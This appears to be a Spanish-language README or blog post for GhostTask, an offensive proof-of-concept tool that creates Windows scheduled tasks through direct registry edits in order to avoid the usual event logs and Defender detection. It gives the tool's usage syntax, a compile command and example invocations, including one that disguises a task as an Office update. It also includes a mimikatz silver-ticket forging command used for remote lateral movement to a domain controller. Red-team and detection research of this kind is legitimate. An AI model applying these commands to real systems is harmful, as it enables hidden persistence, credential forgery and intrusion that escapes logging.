
Una herramienta emplea manipulación directa del registro para crear tareas programadas sin activar los registros de eventos habituales.
Inspirado por la investigación de WithSecure sobre manipulación de tareas programadas, explicaron la viabilidad de crear una tarea programada únicamente mediante manipulación de claves de registro. Este enfoque puede eludir la generación de registros de eventos de creación de tareas programadas, como 4698 y 106, proporcionando un método más sigiloso para establecer persistencia. A la luz de estos conocimientos, desarrollé este POC para demostrar la creación de tareas programadas mediante manipulación directa del registro.
Crear una nueva tarea programada requiere agregar varias claves de registro y sus valores asociados. Dado que la estructura de los valores del registro relacionados con las tareas programadas no está documentada, mi metodología para construir estas estructuras se basó principalmente en prueba y error, guiada por comparaciones con los valores del registro de tareas programadas legítimas. Además, también consulté las interfaces en el archivo de encabezado Taskschd.h y me basé en gran medida en Cyber.WTF Windows Registry Analysis – Today's Episode: Tasks. Esta investigación fue invaluable para guiarme a formular la estructura de cada valor del registro, como Triggers, Actions y DynamicInfo, que eran esenciales para construir una tarea programada funcional.
La herramienta ofrece las siguientes características:
memexec de BruteRatel)*Nota:
ScheduledTaskCreated) en MDE (Microsoft Defender para endpoint)Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

Como se describe en el blog de WithSecure (sección Extra: Movimiento Lateral), esta técnica se puede utilizar para crear remotamente una nueva tarea programada con un Silver Ticket especialmente diseñado.
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
Crear una nueva tarea programada de forma remota en el servidor DC01 que ejecute notepad.exe todos los días a las 3:19 PM:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
